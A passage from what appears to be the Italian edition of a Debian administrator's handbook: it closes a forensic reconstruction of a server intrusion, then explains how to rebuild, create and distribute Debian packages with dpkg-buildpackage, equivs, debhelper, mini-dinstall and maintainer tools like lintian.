** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)

(...)

** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Queste informazioni tracciate mostrano che sul server sono stati salvati due file video attraverso l'indirizzo IP 82.50.72.202.

In parallelo, l'autore dell'attacco ha inoltre scaricato un paio di file aggiuntivi, /tmp/pt e /tmp/loginx. Passando questi file in strings si ottengono stringhe tipo Shellcode placed at 0x%08lx e Now wait for suid shell.... Questi sembrano programmi che sfruttano vulnerabilità locali per ottenere i privilegi di amministratore. Hanno raggiunto il loro scopo? In questo caso, probabilmente no, dato che nessun file sembra essere stato modificato dopo l'intrusione iniziale.

In questo esempio, è stata ricostruita l'intera intrusione, e si può dedurre che l'autore dell'attacco è riuscito a sfruttare il sistema compromesso per circa tre giorni; ma l'elemento più importante nell'analisi è che la vulnerabilità è stata identificata, e l'amministratore può stare tranquillo che la nuova installazione ripara realmente la vulnerabilità.

[7] https://blackarch.org

Capitolo 15. Creazione di un pacchetto Debian

È abbastanza comune, per un amministratore che gestisce regolarmente i pacchetti Debian, sentire la necessità di creare dei propri pacchetti, o di modificarne uno già esistente. Questo capitolo serve proprio a rispondere alle domande più comuni sulla pacchettizzazione e fornire gli elementi necessari per utilizzare l'infrastruttura Debian nel migliore dei modi. Con po' di fortuna, dopo essersi cimentati con i pacchetti locali, si può anche sentire il bisogno di andare oltre e aderire al progetto Debian!

15.1. Rigenerare un pacchetto dai suoi sorgenti

Rigenerare un pacchetto binario può rendersi necessario per una serie di motivi. In alcuni casi, l'amministratore ha bisogno di una funzionalità presente nel software che richiede la compilazione dello stesso dai sorgenti, con una particolare opzione di compilazione; in altri casi, il software pacchettizzato per la versione di Debian installata non è abbastanza recente. In quest'ultimo caso, l'amministratore di solito costruisce un pacchetto più recente prendendolo da una nuova versione di Debian — come Testing o addirittura Unstable — in modo che questo nuovo pacchetto funzioni nella distribuzione Stable; questa operazione è chiamata "backporting". Come al solito, prima di cominciare, è necessario controllare se qualcun altro ha già effettuato quest'attività — un rapido sguardo alle pagine del sistema di tracciamento dei pacchetti può darci le informazioni che cerchiamo.

→ https://tracker.debian.org/

15.1.1. Ottenere i sorgenti

La prima cosa da fare per rigenerare un pacchetto Debian è quella di procurarsi i sorgenti. Il modo più semplice è quello di utilizzare il comando apt-get source source-package-name. Questo comando richiede che sia presente una riga con deb-src nel file /etc/apt/sources.list e che i file di indice siano aggiornati (ad esempio con apt-get update). Se si sono seguite le istruzioni nel capitolo che tratta la configurazione di APT (si veda Sezione 6.1, «Compilazione del file sources.list»), questi requisiti dovrebbero già essere soddisfatti. Si noti, tuttavia, che verranno scaricati i pacchetti sorgente della versione di Debian riportata nella riga deb-src. Se si ha bisogno di un'altra versione, potrebbe essere necessario scaricarla manualmente da un mirror Debian o dal sito web. Questo comporta il recupero di due o tre file (con estensione *.dsc, per i Debian Source Control, *.tar.comp e talvolta *.diff.gz o *.debian.tar.comp — comp prendendo un valore tra gz, bz2 o xz a seconda dello strumento di compressione che è stato utilizzato), e l'esecuzione del comando dpkg-source -x file.dsc. Se il file *.dsc è accessibile direttamente da un determinato URL, c'è un modo ancora più semplice per recuperare il tutto, con il comando dget URL. Questo comando (che si trova nel pacchetto devscripts) recupera il file *.dsc dall'indirizzo indicato, analizza il suo contenuto, e recupera automaticamente il file o i file referenziati all'interno. Una volta che tutto è stato scaricato, verifica l'integrità dei pacchetti ottenuti con il comando dscverify ed estrae il pacchetto sorgente (a meno che non venga utilizzata l'opzione -d o --download-only). E' necessario Debian keying, a meno che non sia stata utilizzata l'opzione -u.

15.1.2. Apportare modifiche

Usiamo il pacchetto samba come esempio.

$ apt source samba

Reading package lists... Done

NOTICE: 'samba' packaging is maintained in the 'Git' version control system at:

https://salsa.debian.org/samba-team/samba.git

Please use:

git clone https://salsa.debian.org/samba-team/samba.git

to retrieve the latest (possibly unreleased) updates to the package.

Need to get 11.7 MB of source archives.

Get:1 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (dsc) [4,316 B]

Get:2 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (tar) [11.4 MB]

Get:3 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+dfsg-5+deb10u1 (diff) [252 kB]

Fetched 11.7 MB in 1s (9,505 kB/s)

dpkg-source: info: extracting samba in samba-4.9.5+dfsg

dpkg-source: info: unpacking samba_4.9.5+dfsg.orig.tar.xz

dpkg-source: info: unpacking samba_4.9.5+dfsg-5+deb10u1.debian.tar.xz

dpkg-source: info: using patch list from debian/patches/series

dpkg-source: info: applying 07_private_lib

dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch

[...]

Il sorgente del pacchetto è ora disponibile in una directory con lo stesso nome del pacchetto sorgente e della sua versione samba-4.9.5+dfsg); qui è dove verranno effettuate tutte le modifiche locali.

La prima cosa da fare è cambiare il numero di versione del pacchetto, in modo che i pacchetti rigenerati possano essere distinti dai pacchetti originali forniti da Debian. Supponendo che la versione corrente sia la 2:4.9.5+dfsg-5, possiamo creare la versione 2:4.9.5+dfsg-5falcot1, che indica chiaramente l'origine del pacchetto. In questo modo il numero di versione del pacchetto sarà superiore a quello fornito da Debian, così il pacchetto verrà installato come un aggiornamento del pacchetto originale. Questo rende il numero di versione del pacchetto superiore a quello fornito da Debian, in modo che il pacchetto verrà facilmente installato come aggiornamento al pacchetto originale. Tale modifica viene effettuata al meglio con il comando dch (Debian CHangelog) del pacchetto devscripts.

$ cd samba-4.9.5+dfsg

$ dch --local falcot

L'ultimo comando invoca un editor di testo (sensible-editor — questo dovrebbe essere il vostro editor preferito se è menzionato nelle variabili d'ambiente VISUAL o EDITOR, altrimenti l'editor predefinito ) per consentire la documentazione delle differenze apportate da questa rielaborazione. Questo editor ci mostra che dch ha davvero cambiato il file debian/changelog.

Quando è necessario cambiare delle opzioni di compilazione, devono essere apportate delle modifiche al file debian/rules, che definisce il processo di compilazione del pacchetto. Nei casi più semplici, le righe che riguardano la configurazione iniziale (./configure …) o la versione corrente ($(MAKE) … o make …) sono facili da individuare. Se questi comandi non sono chiamati esplicitamente, sono probabilmente un effetto collaterale di un altro comando esplicito, in questo caso si rimanda alla loro documentazione per saperne di più su come modificare il comportamento predefinito. Con i pacchetti che usano dh, potrebbe essere necessario aggiungere un override per i comandi dh_auto_configure o dh_auto_build (si vedano le rispettive pagine di manuale per le spiegazioni su come fare).

A seconda delle modifiche locali apportate ai pacchetti, può essere richiesto un aggiornamento anche nel file debian/control, che contiene una descrizione dei pacchetti generati. In particolare, questo file contiene le righe Build-Depends che permettono di controllare la lista delle dipendenze che devono essere soddisfatte nel momento della generazione del pacchetto. Queste spesso si riferiscono alle versioni dei pacchetti contenuti nella distribuzione da cui proviene il pacchetto sorgente, ma che potrebbero non essere disponibili nella distribuzione utilizzata per la rigenerazione. Non esiste un modo automatico per determinare se una dipendenza è reale o è specificata solamente per garantire che la costruzione deve essere eseguita solamente con l'ultima versione di una libreria. Questo è l'unico modo possibile per forzare un autobuilder ad utilizzare una determinata versione del pacchetto durante la costruzione, ed è il motivo per cui i maintainer Debian spesso utilizzano le dipendenze per la compilazione con versioni specifiche.

Se si sa per certo che queste dipendenze per la compilazione sono troppo stringenti, si possono rendere meno rigide localmente. I file che documentano il modo predefinito di costruire il software, spesso chiamati INSTALL, aiuteranno a capire quali sono le dipendenze appropriate. Idealmente, tutte le dipendenze devono poter essere soddisfatte dalla distribuzione utilizzata per la rigenerazione del pacchetto, se non lo sono, si avvia un processo ricorsivo, per cui per i pacchetti indicati nel campo Build-Depends deve essere fatto un «backport» prima che il pacchetto in questione sia costruito. Alcuni pacchetti non necessitano di backporting, e possono essere installati così come sono durante il processo di creazione (un esempio degno di nota è debhelper). Si noti che il processo di backporting può rapidamente diventare complesso se non si è attenti. Pertanto, i backport dovrebbero essere ridotti al minimo indispensabile, quando possibile.

SUGGERIMENTO Installazione dei Build-Depends

apt-get permette d'installare tutti i pacchetti nei campi Build-Depends di un pacchetto sorgente disponibile nella distribuzione indicata nella riga deb-src del file /etc/apt/sources.list. Per farlo basta eseguire il comando apt-get build-dep source-package.

15.1.3. Iniziare la rigenerazione del pacchetto

Quando sono state apportate tutte le modifiche necessarie ai sorgenti, si può iniziare a generare il pacchetto binario (il file .deb). L'intero processo è gestito dal comando dpkg-buildpackage.

Esempio 15.1. Rigenerazione di un pacchetto

$ dpkg-buildpackage -us -uc

[...]

Il comando precedente può fallire se i campi Build-Depends non sono stati aggiornati o se i relativi pacchetti non sono installati. In questo caso è possibile saltare questo controllo passando l'opzione -d al comando dpkg-buildpackage. Tuttavia, ignorando esplicitamente queste dipendenze si corre il rischio che una fase successiva del processo di generazione fallisca. O peggio ancora, il pacchetto può sembrare generato correttamente, ma si comporta in modo anomalo: alcuni programmi disabilitano automaticamente alcune delle loro caratteristiche quando non è disponibile una libreria richiesta in fase di compilazione.

STRUMENTO fakeroot

Il processo di creazione di un pacchetto si occupa, in sostanza, di raccogliere una serie di file già esistenti (o costruiti) in un archivio, molti di questi file saranno di proprietà di root. Tuttavia, la costruzione di tutto il pacchetto utilizzando questo utente potrebbe comportare dei rischi, per fortuna questo può essere evitato con il comando fakeroot. Questo strumento può essere utilizzato per eseguire un programma, dandogli l'impressione che sia stato avviato dall'utente root e creare file con proprietà e permessi arbitrari. Quando il programma crea l'archivio che diventerà il pacchetto Debian, è indotto a creare un archivio contenente i file contrassegnati come appartenenti a proprietari arbitrari, incluso root. Questo è il tipo di configurazione consigliata, tanto che il programma dpkg-buildpackage utilizza fakeroot in maniera predefinita per la creazione dei pacchetti.

È da notare che il programma è solamente portato a «credere» che è eseguito da un account privilegiato, il realtà il programma viene eseguito con l'utente che lancia il comando fakeroot programma (ed i file vengono creati con gli stessi permessi di questo utente). In questo modo non si utilizzano effettivamente i privilegi dell'utente root, dato che potrebbe essere pericoloso.

Il più delle volte, gli sviluppatori Debian utilizzano un programma di alto livello come debuild. Questo esegue dpkg-buildpackage e richiama un programma che avvia molti controlli per convalidare le policy Debian del pacchetto generato. Questo script fa in modo che le variabili d'ambiente locali non «inquinino» la fase di generazione del pacchetto. Il comando debuild è uno degli strumenti della suite devscripts, che condividono la stessa consistenza e configurazione, per rendere il compito più facile ai maintainer.

QUICK LOOK Costruire pacchetti in un ambiente chrooted

Il programma pbuilder (disponibile nel pacchetto con lo stesso nome) permette di costruire un pacchetto Debian in un ambiente isolato attraverso chroot. Prima di tutto viene creata una directory temporanea con il sistema minimale richiesto per la costruzione del pacchetto (inclusi i pacchetti elencati nel campo Build-Depends field). Questa directory viene usata come directory radice (/), utilizzando il comando chroot durante la generazione del pacchetto.

Questo strumento fa in modo che il processo di generazione del pacchetto avvenga in un ambiente che non può essere alterato dagli utenti. Ciò consente un veloce rilevamento delle mancate dipendenze di compilazione (dal momento che la costruzione non andrà a buon fine, a meno che non vengano documentate le dipendenze appropriate). Infine, permette la costruzione di un pacchetto per una distribuzione di Debian diversa da quella utilizzata nel sistema: la macchina può usare la distribuzione Stable per il suo normale lavoro e nella stessa macchina, avviare pbuilder per utilizzare la distribuzione Unstable per costruire un pacchetto.

schroot consente di eseguire un comando o una shell di accesso in un ambiente chrooted.

15.2. Creare il primo pacchetto

15.2.1. Meta-pacchetti o pacchetti finti

I pacchetti finti e i meta-pacchetti sono simili, entrambi non hanno contenuti, hanno però dei meta-dati che agiscono sullo stack di gestione dei pacchetti.

Lo scopo dei pacchetti finti è quello di far credere a dpkg e apt che un determinato pacchetto è installato anche se è soltanto un guscio vuoto. Questo permette di soddisfare le dipendenze di un pacchetto quando il software corrispondente è installato al di là delle scopo del sistema di pacchettizzazione. Questo sistema funziona, ma dovrebbe comunque essere evitato quando possibile, dato che non c'è alcuna garanzia che il software installato manualmente si comporti esattamente come il pacchetto corrispondente e i pacchetti che dipendono da esso potrebbero non funzionare correttamente.

D'altra parte, lo scopo principale di un meta-pacchetto è quello di raggruppare una serie di dipendenze, in modo che con il meta-pacchetto si installino una serie di altri pacchetti in un unico passaggio.

Entrambi i tipi di pacchetti possono essere creati dai comandi equivs-control e equivs-build (nel pacchetto equivs). Il comando equivs-control file crea un file d'intestazione del pacchetto Debian che dovrebbe essere modificato per contenere il nome del pacchetto, il numero di versione, il nome del manutentore, le dipendenze e la descrizione. Gli altri campi senza un valore predefinito sono opzionali e possono essere eliminati. I campi Copyright, Changelog, Readme e Extra-Files non sono campi standard nei pacchetti Debian, hanno senso solo nell'ambito di equivs-build e non saranno conservati nelle intestazioni del pacchetto generato.

Esempio 15.2. File d'intestazione del pacchetto finto libxml-libxml-perl

Section: perl

Priority: optional

Standards-Version: 4.4.1

Package: libxml-libxml-perl

Version: 2.0134-1

Maintainer: Raphael Hertzog <hertzog@debian.org>

Depends: libxml2 (>= 2.7.4)

Architecture: all

Description: Fake package - module manually installed in site_perl

This is a fake package to let the packaging system

believe that this Debian package is installed.

.

In fact, the package is not installed since a newer version

of the module has been manually compiled & installed in the

site_perl directory.

Il passo successivo è quello di generare il pacchetto Debian con il comando equivs-build file. Voilà: il pacchetto viene creato nella directory corrente e può essere gestito come qualsiasi altro pacchetto Debian.

15.2.2. Semplice file di archivio

Gli amministratori della Falcot Corp hanno bisogno di creare un pacchetto Debian per facilitare la distribuzione di una serie di documenti su un gran numero di macchine. L'amministratore incaricato di questo compito prima legge la "Guida al nuovo Maintainer", quindi inizia a lavorare sul pacchetto.

→ https://www.debian.org/doc/manuals/maint-guide/

Il primo passo è la creazione della directory falcot-data-1.0 che conterrà il sorgente del pacchetto interessato. Il nome del pacchetto sarà logicamente falcot-data con il numero di versione 1.0. L'amministratore mette i file dei documenti nella sotto-directory data. Dopo viene eseguito il comando dh_make (dal pacchetto dh-make) per aggiungere i file necessari per il processo di generazione del pacchetto, che saranno memorizzati nella sotto-directory debian:

$ cd falcot-data-1.0

$ dh_make --native

Type of package: (single, indep, library, python)

[s/i/l/p]? i

Maintainer Name     : Raphael Hertzog

Email-Address       : hertzog@debian.org

Date                : Fri, 04 Sep 2015 12:09:39 -0400

Package Name        : falcot-data

Version             : 1.0

License             : gpl3

Package Type        : indep

Are the details correct? [Y/n/q]

Currently there is not top level Makefile. This may require additional tuning

Done. Please edit the files in the debian/ subdirectory now.

$

Il tipo di pacchetto selezionato (indep) indica che questo pacchetto sorgente genererà un pacchetto binario singolo che può essere condiviso tra tutte le architetture (Architecture: all). Al contrario il tipo single, crea un singolo pacchetto binario che dipende dall'architettura a cui è destinato (Architecture: any). In questo caso, la scelta migliore è la prima, poichè il pacchetto contiene solo documenti e non binari, quindi può essere utilizzato allo stesso modo sui computer di tutte le architetture.

Il tipo libreria corrisponde ad un pacchetto sorgente che porta a diversi pacchetti binari. È utile per le librerie condivise, poiché devono seguire rigide regole di pacchettizzazione.

SUGGERIMENTO Nome ed indirizzo email del maintainer

La maggior parte dei programmi coinvolti nella manutenzione dei pacchetti cercherà il nome del maintainer nelle variabili d'ambiente DEBFULLNAME e DEBEMAIL o EMAIL. Definire questi valori eviterà di doverli digitare più volte. Se la shell utilizzata abitualmente è la bash, si possono semplicemente aggiungere le due righe seguenti nei file ~/.bashrc (ovviamente bisogna sostituire i valori con quelli più adeguati!):

export EMAIL="hertzog@debian.org"

export DEBFULLNAME="Raphael Hertzog"

Il comando dh_make crea la sotto-directory debian con all'interno molti file. Alcuni di questi sono necessari, in particolare i file rules, control, changelog e copyright. I file con estensione .ex sono file di esempio che all'occorrenza possono essere modificati (e rimossa l'estensione). Quando non sono necessari, è consigliato eliminarli. Il file compat deve essere mantenuto, in quanto è necessario per la suite di programmi debhelper (che iniziano tutti con il prefisso dh_) utilizzati in diverse fasi del processo di generazione del pacchetto.

Il file copyright deve contenere le informazioni sugli autori dei documenti inclusi nel pacchetto e la relativa licenza. In questo caso si tratta di documenti interni e il loro uso è limitato all'interno dell'azienda Falcot Corp. Il file predefinito changelog è generalmente corretto; è sufficiente sostituire la frase «Initial release» con una spiegazione più dettagliata e modificare la distribuzione da unstable a internal. Anche il file control è stato aggiornato: il campo Section è stao cambiato in misc e i campi Homepage, Vcs-Git e Vcs-Browser sono stati rimossi. I campi Depends sono stati completati con firefox-esr | www-browser in modo da garantire la disponibilità di un browser web in grado di visualizzare i documenti nel pacchetto.

Esempio 15.3. Il file control

Source: falcot-data

Section: misc

Priority: optional

Maintainer: Raphael Hertzog <hertzog@debian.org>

Build-Depends: debhelper (>= 10)

Standards-Version: 4.4.1

Package: falcot-data

Architecture: all

Depends: firefox-esr | www-browser, ${misc:Depends}

Description: Internal Falcot Corp Documentation

This package provides several documents describing the internal

structure at Falcot Corp.  This includes:

- organization diagram

- contacts for each department.

.

These documents MUST NOT leave the company.

Their use is INTERNAL ONLY.

Esempio 15.4. Il file changelog

falcot-data (1.0) internal; urgency=low

* Initial Release.

* Let's start with few documents:

- internal company structure;

- contacts for each department.

-- Raphael Hertzog <hertzog@debian.org>  Fri, 04 Sep 2015 12:09:39 -0400

Esempio 15.5. Il file copyright

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

Upstream-Name: falcot-data

Files: *

Copyright: 2004-2019 Falcot Corp

License:

All rights reserved.

FONDAMENTALI Il file Makefile

Il file Makefile è uno script utilizzato dal programma make, e descrive le regole su come generare un insieme di file da un altro, utilizzando le dipendenze ad albero (ad esempio, un programma può essere costruito da un insieme di file sorgenti). Il file Makefile descrive queste regole nel seguente formato:

target: source1 source2 ...

command1

command2

Il significato di questa regola è il seguente: se uno dei file sources* è più recente rispetto al file target, il target deve essere generato utilizzando command1 e command2.

Si noti che le righe di comando devono iniziare con un carattere di tabulazione; si noti pure che quando una riga di comando inizia con il carattere trattino (-), il fallimento del comando non interrompe l'intero processo.

Il file rules di solito contiene un insieme di regole utilizzate per configurare, compilare e installare il software in una sotto-directory dedicata (con il nome del pacchetto binario generato). Il contenuto di questa sotto-directory viene archiviato all'interno del pacchetto Debian, come se fosse la radice del file system. In questo caso, i file verranno installati netta sotto-directory debian/falcot-data/usr/share/falcot-data/, in modo che l'installazione del pacchetto generato metta i file in /usr/share/falcot-data/. Il file rules viene utilizzato come un Makefile, con alcuni obbiettivi predefiniti (compresi clean e binary, utilizzati rispettivamente per pulire la directory dei sorgenti e per generare il pacchetto binario).

Anche se questo file è il cuore di tutto il processo, contiene solo il minimo indispensabile per l'esecuzione di un insieme predefinito di comandi forniti dal programma debhelper. Questo è il caso per i file generati da dh_make. Per installare i file interessati, bisogna semplicemente configurare il comportamento del comando dh_install creando il seguente file debian/falcot-data.install:

data/* usr/share/falcot-data/

A questo punto, il pacchetto può essere creato. Verrà, comunque, apportata una miglioria. Dal momento che gli amministratori vogliono che i documenti siano facilmente accessibili dal menu dell'ambiente grafico, si aggiunge un file falcot-data.desktop e lo si installa in /usr/share/applications aggiungendo una seconda riga a debian/falcot-data.install.

Esempio 15.6. Il file falcot-data.desktop

[Desktop Entry]

Name=Internal Falcot Corp Documentation

Comment=Starts a browser to read the documentation

Exec=x-www-browser /usr/share/falcot-data/index.html

Terminal=false

Type=Application

Categories=Documentation;

La versione aggiornata di debian/falcot-data.install è simile a questa:

data/* usr/share/falcot-data/

falcot-data.desktop usr/share/applications/

Ora il nostro pacchetto sorgente è pronto. Tutto quello che resta da fare è generare il pacchetto binario, con lo stesso metodo usato in precedenza per la rigenerazione dei pacchetti: si esegue il comando dpkg-buildpackage -us -uc all'interno della directory falcot-data-1.0.

15.3. Creazione di un repository di pacchetti per APT

Falcot Corp ha cominciato gradualmente a mantenere un certo numero di pacchetti Debian, sia modificandoli localmente da pacchetti esistenti che creandoli da zero per distribuire dati interni e programmi.

Per rendere la distribuzione dei pacchetti più facile, si vuole integrare questi pacchetti in un pacchetto archivio che può essere utilizzato direttamente da APT. Per ovvi motivi di manutenzione, si vuole separare i pacchetti interni da quelli rigenerati localmente. L'obiettivo è che le voci corrispondenti nel file /etc/apt/sources.list.d/falcot.list siano le seguenti:

deb http://packages.falcot.com/ updates/

deb http://packages.falcot.com/ internal/

Gli amministratori quindi devono configurare un virtual host nel server HTTP interno, utilizzando la directory /srv/vhosts/packages/ come radice dello spazio web associato. La gestione dell'archivio stesso è delegata al comando mini-dinstall (presente nel pacchetto dal nome simile). Questo strumento controlla la directory incoming/ (in questo caso, /srv/vhosts/packages/mini-dinstall/incoming/) e aspetta che vi siano inseriti dei nuovi pacchetti, quando un pacchetto viene caricato, viene installato in un archivio Debian in /srv/vhosts/packages/. Il comando mini-dinstall legge i file *.changes creati quando il pacchetto viene generato. Questi file contengono un elenco di tutti gli altri file associati alla versione del pacchetto (*.deb, *.dsc, *.diff.gz/*.debian.tar.gz, *.orig.tar.gz, o i loro equivalenti con altri strumenti di compressione), e permettono a mini-dinstall di sapere quali file installare. I file *.changes contengono anche il nome della distribuzione di destinazione (spesso unstable) citata nell'ultima voce del file debian/changelog, mini-dinstall usa questa informazione per decidere dove installare il pacchetto. È per questo che gli amministratori devono sempre cambiare questo campo prima di costruire un pacchetto, e impostarlo a internal o updates, a seconda del luogo di destinazione. mini-dinstall quindi genera i file necessari per APT, come ad esempio Packages.gz.

ALTERNATIVA apt-ftparchive e reprepro

Se sembra troppo macchinoso far avviare mini-dinstall per un determinato archivio Debian, si può utilizzare al suo posto il comando apt-ftparchive. Questo strumento scansiona il contenuto di una directory e mostra (nello standard output) il corrispondente file Packages. Nel caso della Falcot Corp, gli amministratori possono caricare i pacchetti direttamente in /srv/vhosts/packages/updates/ o /srv/vhosts/packages/internal/, quindi eseguire i seguenti comandi per creare i file Packages.gz:

$ cd /srv/vhosts/packages

$ apt-ftparchive packages updates >updates/Packages

$ gzip updates/Packages

$ apt-ftparchive packages internal >internal/Packages

$ gzip internal/Packages

Il comando apt-ftparchive sources permette di creare i file Sources.gz in modo simile.

reprepro è uno strumento più avanzato per lo stesso scopo. Può produrre, gestire e sincronizzare un repository locale di pacchetti. Memorizza i pacchetti e checksum in un file di database Berkeley DB, quindi non è necessario un server di database. Con reprepro è possibile controllare le firme dei repository mirror e creare le firme degli indici dei pacchetti generati.

Per la configurazione di mini-dinstall è necessario impostare il file ~/.mini-dinstall.conf; nel caso della Falcot Corp, i contenuti sono i seguenti:

[DEFAULT]

archive_style = flat

archivedir = /srv/vhosts/packages

verify_sigs = 0

mail_to = admin@falcot.com

generate_release = 1

release_origin = Falcot Corp

release_codename = stable

[updates]

release_label = Recompiled Debian Packages

[internal]

release_label = Internal Packages

Una decisione degna di nota è la generazione del file Release per ogni archivio. Questo può aiutare a gestire le priorità del pacchetto d'installazione utilizzando il file di configurazione /etc/apt/preferences (si veda la Sezione 6.2.5, «Gestire le priorità dei pacchetti» per maggiori informazioni).

SICUREZZA mini-dinstall ed i permessi

Poichè mini-dinstall è stato progettato per essere eseguito come un normale utente, non è necessario eseguirlo come root. Il modo più semplice è quello di configurare tutto all'interno di un account utente, appartenente all'amministratore, che ha il compito di creare i pacchetti Debian. Poiché solo quest'amministratore dispone dei permessi necessari per mettere i file nella directory incoming/, si può dedurre che l'amministratore abbia verificato l'origine di ogni pacchetto prima di distribuirlo e non è necessario farlo rifare a mini-dinstall. Questo spiega il parametro verify_sigs = 0 (che indica che le firme non devono essere verificate). Tuttavia, se il contenuto dei pacchetti è sensibile, si può cambiare l'impostazione e scegliere di autenticare con un portachiavi contenente le chiavi pubbliche delle persone autorizzate a creare pacchetti (utilizzando il parametro extra_keyrings); poi mini-dinstall verificherà l'origine di ogni pacchetto in arrivo, analizzando la firma inclusa nel file *.changes.

Quando viene eseguito mini-dinstall in realtà viene avviato un demone sullo sfondo. Finché questo demone rimane attivo, verifica ogni mezz'ora se ci sono nuovi pacchetti nella directory incoming/. Quando viene inserito un nuovo pacchetto, viene spostato nell'archivio e vengono rigenerati, in maniera appropriata, i file Packages.gz e Sources.gz. Se risulta problematico eseguire un demone, mini-dinstall può essere avviato manualmente in modalità batch (con l'opzione -b) ogni volta che viene caricato un pacchetto nella directory incoming/. I metodi alternativi messi a disposizione da mini-dinstall sono documentati nella sua pagina di manuale mini-dinstall(1).

EXTRA Creazione di un archivio firmato

La suite APT controlla una serie di firme crittografiche sui pacchetti che gestisce prima di installarli, per garantire la loro autenticità (si veda Sezione 6.6, «Controllare l'autenticità dei pacchetti»). Gli archivi APT privati possono poi essere un problema, poichè le macchine che li utilizzano continueranno a visualizzare degli avvertimenti sui pacchetti non firmati. Un amministratore diligente integrerà pertanto gli archivi privati con la modalità sicura di APT.

Per facilitare questo processo, mini-dinstall include l'opzione di configurazione release_signscript che permette di specificare uno script da utilizzare per generare la firma. Un buon punto di partenza è lo script sign-release.sh fornito dal pacchetto mini-dinstall nella directory /usr/share/doc/mini-dinstall/examples/; le modifiche locali possono essere rilevanti.

15.4. Diventare un maintainer di pacchetti

15.4.1. Imparare a creare pacchetti

La creazione di un pacchetto Debian di qualità non è sempre un compito semplice, diventare un maintainer di pacchetti richiede una fase di apprendimento teorico e pratico. Non è una semplice questione di costruzione e installazione del software; la parte più complessa è comprendere i problemi ed i conflitti, e più in generale le interazioni con la miriade di altri pacchetti disponibili.

15.4.1.1. Regole

Un pacchetto Debian deve rispettare delle regole ben precise presenti nelle Debian policy ed ogni maintainer di pacchetti deve conoscerle. Non c'è l'obbligo di conoscerle a memoria, ma è importante sapere che esistono e che si possono consultare ogni volta che si presenta una scelta alternativa non banale. Ogni maintainer Debian ha fatto degli errori dovuto al fatto che non conosceva una regola, ma questo non è un grosso problema finchè l'errore verrà risolto quando un utente lo segnalerà con un bug report (cosa che normalmente accadere molto presto grazie agli utenti esperti). Il campo Standards-Version in debian/control specifica la versione delle Debian policy a cui un pacchetto è conforme. I manutentori dovrebbero conformarsi all'ultima versione delle Debian policy.

→ https://www.debian.org/doc/debian-policy/

15.4.1.2. Procedure

Debian non è una semplice raccolta di singoli pacchetti. Il lavoro di pacchettizzazione di ognuno è parte di un progetto collettivo; essere uno sviluppatore Debian implica conoscere come opera, nel suo complesso, il progetto Debian. Ogni sviluppatore, prima o poi, interagisce con gli altri. La guida di riferimento per lo sviluppatore Debian (nel pacchetto developers-reference) riassume ciò che ogni sviluppatore deve conoscere per interagire nel miglior modo possibile con i vari team all'interno del progetto, e come usufruire dei possibili vantaggi dati delle risorse disponibili. Questo documento elenca anche una serie di doveri a cui uno sviluppatore dovrebbe adempiere.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. Strumenti

Molti strumenti aiutano i maintainer di pacchetti nel loro lavoro. In questa sezione verranno descritti brevemente, tralasciando tutti i dettagli, dal momento che tutti hanno una propria documentazione completa.

15.4.1.3.1. Il programma lintian

Questo strumento è uno dei più importanti: si occupa di verificare i pacchetti Debian. Si basa su una vasta gamma di test creati dalla policy di Debian, e rileva in modo rapido e automatico molti errori che possono essere risolti prima che i pacchetti vengano rilasciati.

Questo strumento lo si deve considerare solamente come un aiuto e può capitare che a volte si comporti in modo errato (per esempio, poiché le policy di Debian cambiano nel corso del tempo, lintian a volte può essere obsoleto). Inoltre non è molto dettagliato: se non si riceve alcun errore da Lintian non di deve interpretare questo comportamento come la prova che il pacchetto sia perfetto ma che, al massimo, non contiene gli errori più comuni.

15.4.1.3.2. Il programma piuparts

Questo è un altro importante strumento: automatizza l'installazione, l'aggiornamento, la rimozione e l'eliminazione completa di un pacchetto (in un ambiente isolato), e controlla che nessuna di queste operazioni dia luogo ad un errore. Può essere d'aiuto nel rilevare le dipendenze mancanti, inoltre rileva anche quando i file vengono erroneamente lasciati dopo che il pacchetto è stato copmletamente eliminato.

15.4.1.3.3. devscripts

Il pacchetto devscripts contiene molti programmi che aiutano in una vasta gamma del lavoro dello sviluppatore Debian:

- debuild permette di generare un pacchetto (con dpkg-buildpackage) ed eseguire lintian per verificarne la conformità con le policy di Debian.

- debclean pulisce un pacchetto sorgente dopo che è stato generato un pacchetto binario.

- dch permette di modificare velocemente il file debian/changelog nel sorgente del pacchetto.

- uscan verifica se è stata rilasciata una nuova versione del software dall'autore originale; questo richiede il file debian/watch con una descrizione delle posizioni delle varie versioni.

- debi permette di installare (con dpkg -i) il pacchetto Debian che è stato appena generato senza bisogno di digitare il suo nome completo e il percorso.

- In modo simile, debc consente la scansione dei contenuti del pacchetto generato di recente (con dpkg -c), senza la necessità di digitare il suo nome completo e il percorso.

- bts permette di controllare il sistema di tracciamento dei bug dalla riga di comando; questo programma genera automaticamente le e-mail in maniera appropriata.

- debrelease carica il pacchetto generato di recente in un server remoto, senza la necessità di digitare il nome completo e il percorso del relativo file .changes.

- debsign firma i file *.dsc e *.changes.

- uupdate automatizza la creazione di una nuova versione del pacchetto, appena è rilasciata una nuova versione del software originale.

15.4.1.3.4. debhelper e dh-make

Debhelper è un insieme di script che aiutano nella creazione di pacchetti conformi con la policy di Debian; questi script sono eseguiti da debian/rules. Debhelper è stato ampiamente adottato in Debian, come dimostra il fatto che è utilizzato dalla maggior parte dei pacchetti ufficiali di Debian. Tutti i comandi che contiene hanno come prefisso dh_.

Lo script dh_make (nel pacchetto dh-make) crea i file necessari per la generazione di un pacchetto Debian, in una directory contenente i sorgenti di un software. Come si può immaginare dal nome del programma, i file generati utilizzano debhelper in maniera predefinita.

15.4.1.3.5. autopkgtest

autopkgtest esegue i test sui pacchetti binari, usando i test forniti nel pacchetto sorgente.

15.4.1.3.6. reprotest

reprotest compila lo stesso codice sorgente due volte in ambienti diversi, e poi controlla i binari prodotti da ogni build alla ricerca di differenze. Se ne vengono trovate, diffoscope (se non disponibile, diff) verrà usato per visualizzarle in dettaglio per un'analisi successiva.

15.4.1.3.7. dupload e dput

